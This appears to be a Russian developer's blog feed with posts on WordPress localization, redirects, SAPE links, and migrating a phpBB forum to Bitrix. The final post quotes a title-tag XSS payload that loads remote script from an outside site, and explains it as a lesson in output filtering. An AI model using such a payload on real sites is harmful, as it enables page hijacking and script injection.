Блог GTAlex - о работе в сети и не только » Программирование

Перевод WP плагина twitter-tools .pot -> .po .mo

GTAlex — Thu, 12 Jan 2012 03:18:49 +0000

Давелось взять «доводить до ума» сайтик на WP движке с установленным плагинчиком Twitter Tools. Плагин в принципе интересный — интеграция с твиттером сайтик оживляет, но вот русской локализации у плагина не было — отсюда сайт на русском, а все служебные сообщения плагина на инглише — смотрится конечно же отвратительно.

Изначально с локализациями вообще туговато было — обновил плагин до актуального и уже получше.
В изменениях деклалировали
* Added language dir and .pot file

И действительно — папочка language присутствовала с файликом twitter-tools.pot
На этом всё — чё дальше не понятно...
А дальше конечно же гугл

Русификация Wordpress или зачем нужны файлы .mo и po, часть 1

Дублировать информацию не буду — там всё доступно написано... Если кратко — движек для перевода юзает .mo файлы, являющимися скомпрессированными .po файлами, которые в свою очередь создаются из .pot.

Но всё же дополню от себя:
Во первых twitter-tools.pot я переименовал в twitter-tools-ru_RU.po
Во вторых — по изложенному конечно же не пошло — при русификации «week» Poedit постоянно ругался и выдавал ошибку «...twitter-tools-ru_RU.po:373: missing `msgstr[]' section»

Связано это было с неверным заданием множественных форм в заголовке файла.
Сильно мудрить и разбираться я не стал — взял и тупо копирнул заголовки из заведомо рабочего файлика \wp-content\languages\ru_RU.po и всё пошло «на ура».

ReTweet

301 редирект по параметрам URL средствами php, apache, nginx

GTAlex — Fri, 11 Nov 2011 08:36:52 +0000

В многочисленных статьях по 301му редиректу обычно используют самые тривиальные случаи — с www на без www, с одной директории на другую и пр.
В моём случае необходимо было метнуть со странички с параметром ?param=value1... на ?param=value2... (какие именно писать не буду).
Небольшая сложность в таком подходе в том что ни аппач, ни nginx параметры не считают адресом странички.
С вариантом на php всё как обычно — просто решил его добавить до полноты картины
С него и начнём как с самого простого, но и самого неэффективного

Выдёргиваем нужный параметр value1 через $_REQUEST меняем что нужно, и редиректим куда нужно

header(«HTTP/1.1 301 Moved Permanently»);
header("Location: http://..........);
exit();

Далее, вариант с аппачем — регулярное выражение необходимо наложить на QUERY_STRING
Правим .htaccess

RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} ^param=value1(.+)$
RewriteRule ^(.*)$ $1?param=value2%1 [R=301,L]

И последний — самый эффективный nginx — тут параметры лежат в переменной $args

if ($args ~* (.*)param=value1(.+)) {
set $args $1param=value2$2;
rewrite ^(.*)$ $1 permanent;
}

ReTweet

Динамическое подключение к SAPE статических сайтов

GTAlex — Thu, 10 Nov 2011 05:02:02 +0000

Вот такой вот тафтологичный заголовок получился

Немного хотел поделиться опытом — может кому пригодиться (хотя догадаться самому не сложно).
В общем довелось мне подрубить к сапе статический сайтик — эдак на 10 тыс html страниц

Идея проста — настраиваем обработчиком статических страниц свой скрипт, где уже динамически встраиваем сапу. (думал сначала тупо скриптом все странички поправить — но такой вариант мне не понравился). Сайт лежит на моём хостинге, так что проблем с редактированием конфигов у меня не возникло.

В моём случае фронтэндом у меня стоит nginx — вот в нём то и прописываем нужное правило.

location ~ \.(htm|html)$ {
charset windows-1251;
fastcgi_index index.php;
fastcgi_intercept_errors on;
root /.../site.ru/www/;
index index.php index.html index.htm;

include fastcgi_params;
fastcgi_pass unix:/tmp/php-fcgi.sock;
fastcgi_param SCRIPT_NAME /get.php;
fastcgi_param SCRIPT_FILENAME /.../site.ru/www/get.php;
}

в get.php уже дёргаем нужный статичный html файл
я его определил через $_SERVER["DOCUMENT_URI"]
и меняем как душе угодно, например
$page = str_replace('', $sape.'',$page);
где в $sape нужный блок со ссылками

ReTweet

Bitrix API: конвертация форума с PHPBB

GTAlex — Fri, 13 May 2011 08:26:54 +0000

Задача для меня, ещё совсем не опытного Bitrix программиста, не тривиальна ... но предположив, что я далеко не первый кодер, реализующий такую задачу я решил плотно погуглить ... и конечно-же нашел отличный материал, на основе которого и конвертировал таки форум.
Итак, статья — Переезжаем с phpBB на форум Битрикс
Материал в целом достаточный, причём неплохо прокомментирован, но всё же хочу акцентировать на некоторых моментах, с которыми пришлось столкнуться:

Во первых, в файле forum.php в начале на базе форума phpbb идёт проверка на существование таблиц TBL_WITH_FORUM_IDS и TBL_WITH_POSTS_IDS — логично предположить, что эти таблицы нужно создавать в базе форума phpbb — но это не так ! Вторая проверка — лишняя, в базе форума делаем только одну табличку b_gp_old_bb, две других b_gp_old_bb_topics и b_gp_old_bb_posts — в базе битрикса.
Может кому поднадобится — вот скриптик добавления:

// PHPBB
 
CREATE TABLE `b_gp_old_bb` (
`ID` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`OLD_ID` INT NOT NULL ,
`NEW_ID` INT NOT NULL
) ENGINE = MYISAM ;
 
// Начальное заполнение соответствий форумов
INSERT INTO `b_gp_old_bb` VALUES (1, 2, 28);
INSERT INTO `b_gp_old_bb` VALUES (2, 3, 29);
INSERT INTO `b_gp_old_bb` VALUES (3, 4, 31);
INSERT INTO `b_gp_old_bb` VALUES (4, 5, 30);
INSERT INTO `b_gp_old_bb` VALUES (5, 6, 32);
 
// Bitrix
 
CREATE TABLE `b_gp_old_bb_topics` (
`ID` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`OLD_ID` INT NOT NULL ,
`NEW_ID` INT NOT NULL
) ENGINE = MYISAM ;
 
CREATE TABLE `b_gp_old_bb_posts` (
`ID` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`OLD_ID` INT NOT NULL ,
`NEW_ID` INT NOT NULL
) ENGINE = MYISAM ;

Поле post_username в табличке _posts в моей версии phpbb было заполнено какой-то хернёй, поэтому для привязки юзера, пришлось клеить табличу _users по полю poster_id
Второй запрос у меня выглядел так:

	$strSql = "SELECT *
			FROM ".PHPBB_PREFIX."posts as posts
 
			RIGHT JOIN ".PHPBB_PREFIX."posts_text as posts_text
			ON posts_text.post_id = posts.post_id
 
			RIGHT JOIN ".PHPBB_PREFIX."users as posts_users
			ON posts_users.user_id= posts.poster_id
 
 
			WHERE posts.topic_id=".$arTopics["topic_id"]." 
			ORDER BY posts.post_id ASC";

в users.php define('TBL_BANLIST', 'null'); — это было в комментах
ещё прикол — после того как форумы будут добавлены в админке, нужно будет зайти в свойства компонента (режим сайта режим правки — модуль форума) и тупо нажать сохранить — таким образом добавленные форумы пропишутся в видимые. Иначе пусто.
Правим /bitrix/modules/forum/classes/general/topic.php в методе ADD $arFields["VIEWS"] = 0; — это тоже было
define('PATH_TO_AVATAR', $_SERVER['DOCUMENT_ROOT']... — сюда нужно копирнуть аватарки старого форума
С define('LIMIT_FOR_ONE_STEP', ... я заморачиваться не стал, поставил set_time_limit(0); и всего делов — все юзеры перетащились за раз

Так как пришлось скриптик отлаживать и запускать по несколько раз, я дописал удаление всех юзеров созданных ранее (кроме себя)

$rsUser = CUser::GetList($by="ID", $order="DESC", array());
while ($arU = $rsUser->GetNext()) {
	if($arU["ID"]>1) {
		CUser::Delete($arU["ID"]);
	}
}
 
$DB->Query('ALTER TABLE `b_forum_user` AUTO_INCREMENT = 2');
$DB->Query('ALTER TABLE `b_user` AUTO_INCREMENT = 2');

В моём phpbb использовалось поле RANK которого нет в битриксе, для него я сделал ещё одно пользовательское свойство UF_PHPBB_RANK и добавил его заполнение
«UF_PHPBB_RANK» => $arUser["user_rank"]

На счёт паролей — решил проэксперементировать — скопировал хэш из phpbb в битрикс — и о чудо — пасс подошел, НО при добавлении пароля через API сам хэш считался паролем и ещё раз хэшировался — мне же нужно было перетащить хэш «как есть», для этого ещё один допил:

в начале скрипта дёргаем пароли старого форума

$strSql = "SELECT user_id, user_password FROM ".PHPBB_PREFIX."users;";
$rsPosts = mysql_query($strSql);
if ($e = mysql_error($link)) {
	die($e);
}
while ($asPosts = mysql_fetch_assoc($rsPosts)) {
	$gtUsers[$asPosts["user_id"]]['pass'] = $asPosts["user_password"];
}

В конце скрипта (когда юзера уже на месте)

$arParams["SELECT"] = array("UF_*");
$rsUser = CUser::GetList($by="ID", $order="ASC", array(), $arParams);
 
while ($arUser = $rsUser->GetNext()) {
 
	$phpbb_id = (int)$arUser["UF_PHPBB_ID"];
	if(!$phpbb_id>0) continue;
 
	$pass = $gtUsers[$phpbb_id]['pass'];
	$DB->Query("UPDATE b_user SET PASSWORD='$pass' WHERE ID=".$arUser["ID"]);
}

Совсем не понял зачем чистить special chars — это дело в __ConvertPosts я закоментил
в forums.php трюк с $lastID у меня не прошел — т.к. не хватило оперативки для переноса всего форума, но каждый раз в ручную его править — не реально, поэтому в начале скриптика
$lastID = file_get_contents('last.id');
define('LIMIT_FOR_ONE_STEP', '500');
и в цикле
$lastID = $arItem["topic_id"];
file_put_contents(«last.id»,$lastID);

вроде всё

ReTweet

Мой первый скрипт с Bitrix API — очистка форума

GTAlex — Thu, 28 Apr 2011 06:39:52 +0000

Перекидываю форум с PHPBB на Битрикс — благо конверторы писать с нуля не придётся — спасибо Долганину Антону за его статью Переезжаем с phpBB на форум Битрикс. Экспериментирую на тестовом форуме, поэтому перед наполнением, его нужно было почистить.
Собственно реализация этой небольшой ТЗ, созданная мной буквально за 5 минут (а битрикс то весьма удобен!):


set_time_limit(0);
ignore_user_abort();
 
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
 
if (CModule::IncludeModule("forum")) {
	// clear topics
	$db_res = CForumTopic::GetList(array(), array());
	while ($ar_res = $db_res->Fetch()) {
		echo 'deleted -'.$ar_res["TITLE"].'
';
		CForumTopic::Delete($ar_res["ID"]);
	}
	// clear forums
	$db_Forum = CForumNew::GetList(array(), array());
	while ($ar_Forum = $db_Forum->Fetch()) {
		CForumNew::Delete($ar_Forum["ID"]);
		echo 'deleted - '.$ar_Forum["NAME"].'
';
	}
 
       //clear users (кроме меня)
       $rsUser = CUser::GetList($by="ID", $order="DESC", array());
       while ($arU = $rsUser->GetNext()) {
	echo $arU["NAME"]."
";
	if($arU["ID"]>1) {
		CUser::Delete($arU["ID"]);
		echo "deleted
";
	} else {
		echo "stay
";
	}
}
 
}
?>

ReTweet

Модификация таблицы конкурса SAPE

GTAlex — Mon, 25 Apr 2011 03:43:58 +0000

Вчера на мыло Алекс Терехов отписал письмецо, с просьбой помочь в отсеве доменов конкурсантов с историей — что конечно-же потешило моё самолюбие

Кстати — сегодня последний день регистрации !!! Желающие поучаствовать — поторопитесь.

Собственно, я раньше и сам хотел это дело реализовать, но всё руки не доходили, да и не было уверенности, что мою самодеятельность хоть кто-то смотрит.
Итак — все домены были прочеканы на наличие истории на рег.ру, а так же наличие снимков в веб-архиве.

Результат смотрим всё там-же http://seo.gtalex.ru/sape/

Колонка RW
Первый символ — история по reg.ru

v : присутствует ОДНА запись и это апрель 2011г.
- : записи отсутствуют (домен не русской зоны, либо вообще не зарегистрирован)
? : присутствует несколько записей, либо дата — не апрель 2011г.

Первый символ — Второй наличие в веб-архиве

+ : присутствует в веб архиве
- : записи отсутствуют (ещё не значит, что истории нет)
? : неправильный урл или ещё какие-то проблемы с парсингом

идеальный домен для конкурса:
первая галочка — есть одна запись и она апрель 2011 года (повторю для записей других зон — эта проверка не канает)
второй минус — в вебархиве записей нет (но это ещё не значит, что домен без истории)

вероятность ошибки всё равно остаётся — это домен с историей не русской зоны, не засветившийся в вебархиве, но думаю она очень мала

ReTweet

Парсинг и JS Инъекции

GTAlex — Sun, 24 Apr 2011 15:46:46 +0000

На днях над моей табличкой конкурсантов, некоторые участники конкурса слегка поглумились — воткнули вместо таблицы с информацией обнаженную девушку — правильно сделали, раз уж парсишь — при выводе не забывай фильтровать !
Кому интересно и кто не в курсе — раскрою подробности процедуры:
Взглянув на табличку видно, что в ней выводится содержимое, сграбленного тега title — ну и некоторые ребята, решили проверить — фильтруется ли вывод, али нет
На denejno.ru в тег был вставлен JS код с подключением стороннего js файла.
А конкретно такой код

<title>Денежно.Ру
<script>
var scid=document.createElement('SCRIPT'); 
scid.type='text/javascript'; 
scid.charset='windows-1251';  
scid.src='http:/'+'/denejno.ru/f.js?rnd='+Math.random(); 
document.body.appendChild(scid);

<noscript>
title>
noscript>
title>

На искомой странице скрипт не выполнялся, т.к. был внутри тега title. А в моей табличке — как раз пошел на выполнение
JS код подключаемого файла:

document.body.innerHTML='


';

Спасибо хоть девчёнку симпотную поставили, а не член в пол-экрана — хорошая наука на будущее. А то как обычно — быстро, на коленке и в эфир. Теперь буду повнимательнее и не так ленив на счёт фильтрации, чего и всем желаю.

ReTweet